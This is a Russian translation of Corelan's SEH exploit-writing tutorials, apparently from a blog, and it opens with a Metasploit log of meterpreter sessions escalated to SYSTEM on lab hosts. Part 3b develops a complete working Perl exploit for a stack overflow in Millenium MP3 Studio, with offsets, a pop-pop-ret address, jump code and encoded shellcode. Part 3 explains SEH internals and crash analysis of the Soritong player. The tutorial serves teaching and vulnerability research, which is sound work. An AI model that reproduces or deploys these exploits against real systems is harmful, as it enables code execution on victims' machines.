[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444)      

meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS      : Windows XP (Build 2600, Service Pack 3).

Тест №2: Windows Server 2003 R2 SP2

meterpreter >
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(custom_vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
target => 1
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.24.3     yes       The target address
   RPORT  200              yes       The target port     

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.24.3     no        The target address                    

Exploit target:

   Id  Name
   --  ----
   1   Windows 2003 Server R2 SP2  

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444)

meterpreter > sysinfo
Computer: WIN2003-01
OS      : Windows .NET Server (Build 3790, Service Pack 2).

meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > ps

Process list
============

    PID   Name               Path
    ---   ----               ----
    300   smss.exe           \SystemRoot\System32\smss.exe
    372   winlogon.exe       \??\C:\WINDOWS\system32\winlogon.exe
    396   Explorer.EXE       C:\WINDOWS\Explorer.EXE
    420   services.exe       C:\WINDOWS\system32\services.exe
    424   ctfmon.exe         C:\WINDOWS\system32\ctfmon.exe
    432   lsass.exe          C:\WINDOWS\system32\lsass.exe
    652   svchost.exe        C:\WINDOWS\system32\svchost.exe
    832   svchost.exe        C:\WINDOWS\System32\svchost.exe
    996   spoolsv.exe        C:\WINDOWS\system32\spoolsv.exe
    1132  svchost.exe        C:\WINDOWS\System32\svchost.exe
    1392  dllhost.exe        C:\WINDOWS\system32\dllhost.exe
    1580  svchost.exe        C:\WINDOWS\System32\svchost.exe
    1600  svchost.exe        C:\WINDOWS\System32\svchost.exe
    2352  cmd.exe            C:\WINDOWS\system32\cmd.exe
    2888  vulnserver.exe     C:\vulnserver\lcc\vulnserver.exe                               

meterpreter > migrate 996
[*] Migrating to 996...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

pwned!

Вы можете найти больше информации о Metasploit API (и доступные классы) на официальном сайте проекта по адресу: http://www.metasploit.com/documents/api/msfcore/index.html


Руководство по написанию эксплойтов. Часть 3b - SEH эксплойты. Иные варианты.

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В предыдущей части руководства я объяснил основы создания SEH-эксплойтов. Я упомянул, что в самом простом случае полезная нагрузка SEH-эксплойта имеет такую структуру:

[junk][nextSEH][SEH][Shellcode]

Я указал, что SEH должен быть перезаписан указателем на "pop,pop,ret", и что nextSEH должен быть переpfписан 6 байтами, чтобы перепрыгнуть через SEH… Конечно, эта структура была основана на логике SEH-уязвимости, и более применима к уязвимости в Easy RM to MP3 Player. Таким образом, это только пример демонстрирующий концепцию уязвимости в SEH, при которой вы должны видеть значения всех регистров, использовать контрольные точки, и т.п., чтобы определить область для полезной нагрузки и самого шеллкода. Наблюдая за стеком строили структуру полезной нагрузки…

Иногда вам может улыбнуться удача, и полезная нагрузка может быть построена почти мгновенно. Иногда вам не хватает везения, и вы прилаживаете намного больше усилий для того, чтобы эксплойт мог стабильно работать в нескольких версиях ОС. Иногда вы будете прибегать к использованию жесткой адресации потому, что это будет единственный способ сделать рабочий эксплойт. В любом случае, большинство эксплойтов различны между собой, т.к. это ручная работа, основанная на определенных свойствах уязвимости и доступных методов для её эксплуатации.

В данной части руководства мы рассмотрим создание эксплойта для уязвимости, которая была обнаружена в Millenium MP3 Studio.


В PoC скрипте (вероятно основанном на значениях регистров) говорится о том, что уязвимость легко эксплуатировать, но автор находки этого сделать не смог.



Основываясь на значениях регистров, которые показал "Hack4love"(автор найденной уязвимости), можно было предположить, что это типичное стековое переполнение, где EIP перезаписан мусором. Таким образом, вы должны найти смещение к EIP, найти полезную нагрузку в одном из регистров, и перезаписать EIP "переходом к …", так? Хмм… Не совсем.

Давайте разбираться. Создайте файл с "http://" … +5000 A, и запустив его в приложении, через windbg, посмотрим, что произойдет.

#!usr/bin/perl
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Откройте windbg и запустите mp3studio. Запустите выполнение программы и откройте файл.



Нарушение доступа (Access violation), но значения регистров никак не соответствуют заявленным в PoC-скрипте. Значит, любая длина буфера является неправильной (чтобы вызвать типичное перезаписывающее EIP переполнение стека), или эта уязвимость основана на SEH. Посмотрим на SEH-цепочку, чтобы определиться:



так, хорошо. И SE Handler и nextSEH перезаписаны. Значит, это будет SEH-эксплойт.

Создайте другой файл с шаблоном из 5000 символов при помощи утилиты из Metasploit, чтобы определить смещение к nextSEH и SE Handler’у:

Теперь SEH-цепочка выглядит так:



Таким образом SE Handler был перезаписан на 0x39466830 (little endian, помните), и next SEH был перезаписан на 0x67384667
  • - SE Handler: 0?39466830 = 9Fh0 (смещение по шаблону - 4109)
  • - nextSEH: 0?67384667 = g8Fg (смещение по шаблону - 4105)

Это уже имеет какой-то смысл.

Теперь, для типичного SEH-эксплойта, вы сделаете следуещее:
  • - в начале 4105 символов мусора(junk) (избавившись заранее от небольшого количества ненужных символов, таких как два слеша после http:, и добавив несколько A, чтобы держать количество символов в группах по 4);
  • - перезапишите nextSEH на jump-код (0xeb, 0?06,0?90,0?90), чтобы перепрыгнуть через SE Handler и попасть в шелллкод;
  • - перезапишите SE Handler указателем на pop,pop,ret;
  • - поместите шеллкод (окруженный nop’ами в случае необходимости) и добавите больше данных, если потребуется;

или perl-скрипт (использующий некоторое подставные данные для того, чтобы проверить смещения):

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."

Крах:



Таким образом, SE Handler был перезаписан на 43434343 (4 C, как и ожидалось), а nextSEH был перезаписан на 42424242 (4 B, как и ожидалось).
Давайте заменим SE Handler указателем на pop,pop,ret, и nextSHE заменим четырьмя контрольными точками.
Обратите внимание на список загруженных модулей и попытайтесь найти в одном из них последовательность pop,pop,ret. (Вы можете использовать плагин Ollydbg "SafeSEH", чтобы увидеть, собраны ли модули с safeSEH или нет).
xaudio.dll, одна из прикладных dll, содержит многократные pop,pop,ret. Мы будем использовать этот 0x1002083D:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #контрольная точка
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

При первом нарушении доступа (Access violation) мы направим исключение назад к приложению. pop,pop,ret был выполнен, и вы должны закончить на коде контрольной точки (в nseh).

Где теперь наша полезная нагрузка? Это должно быть похоже на большое количество D (после seh)…, но это могут быть и A (из начала буфера). Давайте поределят.Если полезная нагрузка находится после seh, (и приложение остановилось на контрольной точке), то EIP должен теперь указывать на первый байт nextSEH (код контрольной точки), и таким образом дамп eip долеж показать nseh, сопровождаемый seh, после которого идет шеллкод:



Это выглядит многообещающе, однако мы видим некоторые нулевые байты после первых 32 байт. Значит, у нас есть 2 варианта: использовать 4 байта кода в nseh, чтобы перепрыгнуть через seh, и затем использовать те 16 байт, чтобы перепрыгнуть через нулевые байты. Или же сделать переход непосредственно из nseh в шеллкода.
Во-первых, давайте проверим, что мы действительно смотрим в начала шеллкода (заменяя первые D какими-нибудь легко узнаваемыми данными):

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";



Хорошо, это начало шеллкода, но в нем есть небольшое "отверстие" после первых двух байт…
Скажем, мы хотим перепрыгнуть через отверстие, и начать шеллкод с 4 NOP’ов (таким образом мы можем поместить свой реальный шеллкод в 0012f9c0…, используя всего 24 NOP’а перед шеллкодом), тогда мы должны сделать скачок (от nseh) на 30 байт. Это - 0xeb, 0x1e:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Открыв mpf файл, вы должны быть остановлены в контрольной точке (в 0x0012f9c0) после прохождения первого исключения:



Хорошо, теперь замените контрольные точки в коде на реальный шеллкод:, тем самым завершив код эксплойта:

#!usr/bin/perl
# [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product  : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download          : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method  : seh
# [+] Tested on         : Windows XP SP3 En
# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to         : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 
# -----------------------------------------------------------------------------
#                                               MMMMM~.
#                                               MMMMM?.
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.
#                                                                   eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90";  #прыжок на 30 байт
my $seh=pack('V',0x1002083D);  #pop pop ret из xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

pwned!

Упражнение

У меня есть небольшое упражнение для вас: попытайтесь написать рабочий эксплойт для m3u файла, и посмотрите, сможете ли вы найти способ заменить EIP-переполнение на SEH.

Примечание: шеллкод не должен быть помещен после nseh/seh. Он должен быть помещен в первую часть буфера полезной нагрузки, и вы при этом можете использовать:
  • - маленькое буферное пространство, чтобы записать какой-либо jump-код, таким образом, перейти к реальному шеллкоду.
  • - жесткую адресацию (если ничего больше не помогает)


SEH-эксплойт для m3u файлов почти идентичен mpf версии, поэтому я не стану сейчас это описывать.

среда, 26 октября 2011 г.

Руководство по написанию эксплойтов. Часть 3 - SEH эксплойты

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В первых двух частях данного руководства, мы обсудили, как происходят классические переполнения буфера в стеке, и каким образом можно создать надежный эксплойт с использованием различных методик перехода к шеллкоду. Пример, который мы использовали, позволил нам перезаписать EIP, и у нас было достаточно места в буфере для размещения шеллкода. Вдобавок ко всему, у нас была возможность использовать множество методик перехода, чтобы достигнуть нашей конечной цели. Но не все переполнения так просты в эксплуатации.

Сегодня, мы рассмотрим другую методику, позволяющую эксплуатировать уязвимость, с использованием обработчиков исключений (exception handlers).

Что такое обработчик исключений?

Обработчик исключений - это часть кода, которая находится в приложении для обработки особых ситуаций (исключений) с которыми данное приложение может столкнуться во время работы. Типичная обработка исключений выглядит следующим образом:

try
{
// выполниться, если происходит исключение, и перейдет к 
}
catch
{
//выполняется когда происходит исключение
}

Так взаимосвязаны try и catch в стеке:



В Windows SEH (Structured Exception Handler - Структурированный Обработчик Исключений) встроен по умолчанию. Если Windows перехватывает исключение, то мы увидим примерно следующее всплывающее сообщение: "xxx столкнулся с проблемой и должен закрыться". Это является результатом обработчика. Очевидно, для того, чтобы писать стабильное программное обеспечение, необходимо использовать языки программирования, которые включают встроенный обработчик, а не полагаться на стандартный обработчик Windows. Если программа не использует обработчик исключений, или когда доступные обработчики не смогут обработать исключение, то будет использоваться Windows SEH (UnhandledExceptionFilter). Таким образом, в случае ошибки или запрещенной инструкции, приложение получит шанс их удачно обработать, и не завершиться аварийно. В большинстве случаев Windows SEH выдаст сообщение об исключении и предложит послать отчет о случившемся в Microsoft.

У приложения, для того, чтобы быть в состоянии перейти к коду исключения (блок catch), указатель на код обработчика особых ситуаций сохраняется в стеке (для каждого блока кода). У каждого из блоков кода есть своя область в стеке, так называемый SEH-frame, и в каждой из них храниться указатель на обработчик каждого из блоков кода. Информация о всех фреймах хранится в стеке в структуре exception_registration.

Эта структура (также называемая SEH-record) составляет 8 байтов и имеет 2 (4-байтовых) элемента:
  • - указатель на следующую структуру exception_registration (в основном, на следующую SEH-запись, в случае, если текущий обработчик неспособен обработать исключение)
  • - адрес фактического кода обработчика особых ситуаций. (SE-обработчик)

Простое представление стека относительно цепных компонентов SEH:



Поверх главного блока данных (блок данных "главной" функции приложения, или TEB/TIB - блок информации потока) помещен указатель на вершину SEH-цепочки. Эту SEH-цепочку также часто называют FS:[0]-цепочкой.

Таким образом, на машинах Intel, взглянув на дизассемблированный код SEH, мы увидим инструкцию, перемещающую DWORD ptr из FS:[0]. Это гарантирует, что обработчик исключений установлен для потока и будет в состоянии захватить ошибки, когда они в нём произойдут. Код операции для этой инструкции 64A100000000. Если вы не можете найти этот опкод, возможно, что у приложения/потока вообще нет обработки исключений.

Для построения подобной функциональной блок-схемы, вы можете использовать плагин к OllyDBG под названием OllyGraph.

Небольшой пример: скомпилируйте следующий исходный код (sehtest.exe) и загрузите полученную программу в WinDbg (без запуска).
#include
#include
#include

int ExceptionHandler(void);
int main(int argc,char *argv[]){

char temp[512];

printf("Application launched");

 __try {

 * *strcpy(temp,argv[1]);

 * *} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}

Обратите внимание на загруженные модули:



Приложение находится между 00400000 и 0040c000

Найдем в этой области код операции 64 A1:



Это доказывает то, что обработчик исключений зарегистрирован. Сделаем дамп TEB:



Указатель указывает на 0x0012fd0c (начало SEH-цепи). Взглянув на эту область, мы увидим:



ff ff ff ff указывает на конец SEH-цепи. Это нормально, т.к. приложение еще не начало выполняться (Windbg все еще приостановлен).

Если у вас имеется установленный плагин Ollygraph, вы можете открыть выполняемую программу в ollydbg и построить граф, который укажет, установлен ли обработчик исключений или нет:



Когда мы начнем выполнение приложение (F5 или 'g'), мы увидим следующее:



Для главной функции теперь установлен TEB. SEH-цепочка в точке главной функции по адресу 0x0012ff60, сделав дамп по которому, мы видим обработчик исключений, и его начальный адрес 0x0012ffb0

В OllyDbg всё более упрощенно, и выглядит примерно так:



Здесь мы можем видеть функцию обработчика - ExceptionHandler ().

Из примера выше, вы могли убедиться в том, что обработчики исключений, соединены/связаны друг с другом, формируя цепочку в виде связанного списка в стеке, и находятся на его дне. Когда происходит исключение, Windows ntdll.dll приостанавливает процесс, отыскивает начало SEH-цепочки (находится в начале TEB/TIB), проходит по списку обработчиков, и пытается найти подходящий для возникшей ситуации. Если подходящий из обработчиков не будет найден, то по умолчанию буде задействован обработчик Windows ( находится внизу стека, после FFFFFFFF).

Узнать больше о SEH вы можете в превосходной статье Matt Pietrek 1997 года, по адресу: http://www.microsoft.com/msj/0197/exception/exception.aspx

Новшества в Windows XP SP1 относительно SEH, и воздействие GS/DEP/SafeSEH и других механизмов защиты на создание эксплойтов.

XOR
Для того, чтобы создать эксплойт, основанный на перезаписи SEH, мы должны знать различия между Windows XP pre-SP1 и SP1. Начиная с Windows XP SP1, прежде, чем вызовется обработчик исключений, все регистры XOR’ятся друг с другом для обнуления, что усложняет создания эксплойта. Это означает, что один или более регистров могут указывать на вашу полезную нагрузку при первом случайном исключении, но когда обработка исключения завершится, эти регистры обнуляются. Таким образом, вы не сможете обратиться к ним непосредственно, чтобы выполнить шеллкод. Мы поговорим об этом позже.

DEP & Stack Cookies
Вдобавок ко всему, в Windows XP SP2 и Windows 2003 были введены Stack Cookies (указывается через опцию компилятора C++) и DEP (Data Execution Prevention - Предотвращение Выполнения Данных). Эти две технологии очень сильно усложняют создание работоспособного эксплойта.

SafeSEH
Дополнительная защита, которая была добавлена к компиляторам, помогая останавливать неправильные обращения, пытающиеся перезаписать SEH. Этот механизм защиты является активным для всех модулей, которые откомпилированы с флагом /safeSEH.

Windows 2003
В серверной Windows 2003 было добавлено много различных защитных механизмов. Мы не будем обсуждать эти механизмы в этой части руководства, т.к. они покажуться на данный момент слишком сложными. Но как только вы овладеете материалом данной части, вы будете готовы перейти и к остальным механизмам защиты, которые будут описаны в следующих частях руководства.

XOR, SafeSEH… но как тогда использовать SEH, чтобы перейти к шеллкоду?

Существуют пути обхода таких защит, как XOR 0?00000000 и SafeSEH. Но так как мы не можем просто перейти к регистру (потому что регистры – xor’ены), нам необходимо будет обратиться к вызову последовательности команд из dll.

Вы должны избегать использования вызовов определенных dll из памяти ОС, и стараться использовать адреса dll приложения, предполагая, что эта/и dll не откомпилированы с флагом safeSEH. Таким образом, адреса будут почти всегда одинаковы, независимо от версии OS. Но если такой возможности не будет, то имеет смысл поискать адреса необходимых операций в системных библиотеках dll, которые не защищены safeseh.

Суть методики заключается в следующем: если мы можем перезаписать указатель на обработчик SE, который используется, для обработки определенного исключения, и мы можем заставить приложение выдать другое исключение (поддельное), то таким образом можно заставить приложение перейти к нашему шеллкоду, а не к реальной функции обработчика исключений. Последовательность команд, которые вызовут это, является POP POP RET. ОС поймет, что подпрограмма обработки исключений была выполнена и будет двигаться дальше, к следующему SEH (или к концу SEH-цепочки). Подставная команда должна искаться в загруженной dll или exe, но не в стеке.

Заметки на полях: к Ollydbg существует плагин под названием OllySSEH, который просматривает процесс на наличие загружаемых модулей, и укажет, были ли они откомпилированы с SafeSEH или нет. Важно найти dll’s и использовать POP/POP/RET адрес из модуля, который не откомпилирован с SafeSEH

Обычно, указатель на следующую SEH запись содержит её адрес. Поэтому, мы должны перезаписать её маленьким jump-кодом к шеллкоду (который должен находиться в буфере после перезаписанного SE-обработчика). POP, POP, RET последовательность проверит, что этот код выполнится.

Другими словами, полезная нагрузка должна произвести следующие действия:
  • - вызвать исключение
  • - перезаписать указатель на следующий SEH-блок jump-кодом, который перейдет к шеллкоду
  • - перезаписать SE-обработчик указателем на команду, которая выполнит поддельное исключение
  • - шеллкод должен находиться непосредственно после перезаписанного обработчика SE. Маленький jump-код, содержавшийся в перезаписанном "указателе на следующий отчет SEH", перейдет к нему

Типичная полезная нагрузка будет выглядеть примерно так:
[Junk][nSEH][SEH][Nop-Shellcode]
Где nSEH - переход к шеллкоду, и SEH – указатель на pop, pop, ret.

Перед описанием создания эксплойта мы взглянем на то, как Ollydbg и windbg могут помочь исследовать SEH обработчик, и помочь вам с созданием правильной полезной нагрузки.

Для испытаний в этой части руководства, мы используем программу с уязвимостью, опубликованной 20-ого июля 2009.

Наблюдаем за SEH в действии, через Ollydbg

При обычном переполнении буфера в стеке, мы перезаписываем адрес возврата (EIP) и заставляем приложение перейти к шеллкоду. Осуществляя переполнение в SEH, мы также перезаписываем стек после перезаписывания EIP, и таким образом мы сможем перезаписать стандартный обработчик исключения. Как это позволит нам эксплуатировать уязвимость, станет скоро более понятным.

Давайте воспользуемся уязвимостью в MP3-плейере Soritong 1.0, обнародованной 20-ого июля 2009.

Скачать его можно здесь: http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/Soritong.shtml

Уязвимость возникает в файле обложки, и может вызвать переполнение. Мы воспользуемся следующим perl-скриптом для того, чтобы создать файл под названием UI.txt в папке skin\default:

#!usr/bin/perl
$uitxt = "ui.txt";

my $junk = "A" x 5000 ; 

open(myfile,">$uitxt") ;
print myfile $junk;

Теперь запустим soritong. Программа падает (вероятно, из-за обработчика исключений, которому не удалось найти адрес подходящего SEH (потому что он был перезаписан).

Мы будем работать с Ollydbg, чтобы явно показать стек и SEH-цепочку. Запустите Ollydbg и откройте в нем soritong.exe . Нажмите кнопку "play", чтобы запустить выполнение программы. Вскоре после запуска, программа падает и останавливается в таком положении:



Приложение завершилось в 0x0042E33. В этой точке стек находится в 0x0012DA14. У основания стека (в 0012DA6C), мы видим FFFFFFFF, который указывает на конец SEH-цепи. Чуть ниже 0x0012DA14 мы видим 7E41882A, который является адресом стандартного SE-обработчика для этого приложения. Этот адрес находится в адресном пространстве user32.dll.



Несколько строк выше в стеке, мы можем видеть адреса других обработчиков исключений, но все они принадлежат ОС (ntdll в данном случае). Похоже, что программа (или по крайней мере функция, которая вызвали исключение) не имеет собственного обработчика.



Если мы посмотрим на потоки (View - Threads) и выбрав первый поток (который указывает на начало программы), щелкнем правой кнопкой мыши и выберем ‘dump thread data block’, мы увидим указатель на SEH-цепочку:





Значит, что обработчик исключения работает. Мы вызвали исключение (создав модифицированный ui.txt файл), и программа перешла к SEH-цепочке (по адресу 0x0012DF64).

Откройте меню отладчика "View – SEH chain"



Адрес обработчика SE указывает на местоположение, где находиться код, который нужно выполнить, чтобы возникло исключение.



Обработчик SE был перезаписан четырьмя «A». Когда исключение будет обработано, EIP будет перезаписан адресом SE-обработчика. Так как мы можем управлять значением в обработчике, то нам по силам сделать так, чтобы он выполнил наш собственный код.

Наблюдаем за SEH в действии, через Windbg

Теперь повторим наблюдение с применением Windbg. Закройте Ollydbg, запустите windbg и откройте soritong.exe.

Отладчик сначала приостанавливается (он помещает контрольную точку прежде, чем выполнить программу). Запускаем выполнение программы командой «g» (go), либо нажатием F5.



Запускаем поток выполнения, и вскоре он приостанавливается. Windbg сообщает нам " first change exception". Это означает, что windbg заметил, что было вызвано исключение, и даже прежде, чем исключение могло быть обработано программой, windbg остановил прикладной поток:



Сообщение " This exception may be expected and handled".

Cмотрим на стек:



ffffffff указывает конец SEH- цепи. Если мы выполним команду !analyze -v, мы получим следующее:

FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00130000
Attempt to write to address 00130000

FAULTING_THREAD: 00000a4c

PROCESS_NAME: SoriTong.exe

ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

FAULTING_MODULE: 7c900000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 00130000

WRITE_ADDRESS: 00130000 

FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMB OLS

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:
ud+41414140
41414141 ?? ???

LAST_CONTROL_TRANSFER: from 41414141 to 00422e33

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 +0x41414140
0012fd40 41414141 41414141 41414141 41414141 +0x41414140
0012fd44 41414141 41414141 41414141 41414141 +0x41414140
0012fd48 41414141 41414141 41414141 41414141 +0x41414140
0012fd4c 41414141 41414141 41414141 41414141 +0x41414140
0012fd50 41414141 41414141 41414141 41414141 +0x41414140
0012fd54 41414141 41414141 41414141 41414141 +0x41414140

. . . (вырезано из-за большой длины)

0012ffb8 41414141 41414141 41414141 41414141 +0x41414140
0012ffbc 

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME: SoriTong.exe

STACK_COMMAND: ~0s ; kb

BUCKET_ID: WRONG_SYMBOLS

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_ 5

Followup: MachineOwner

Отчет исключения указывает на ffffffff. Это означает, что приложение не использовало обработчик исключения для этого переполнения (и поэтому использовался стандартный обработчик ОС).

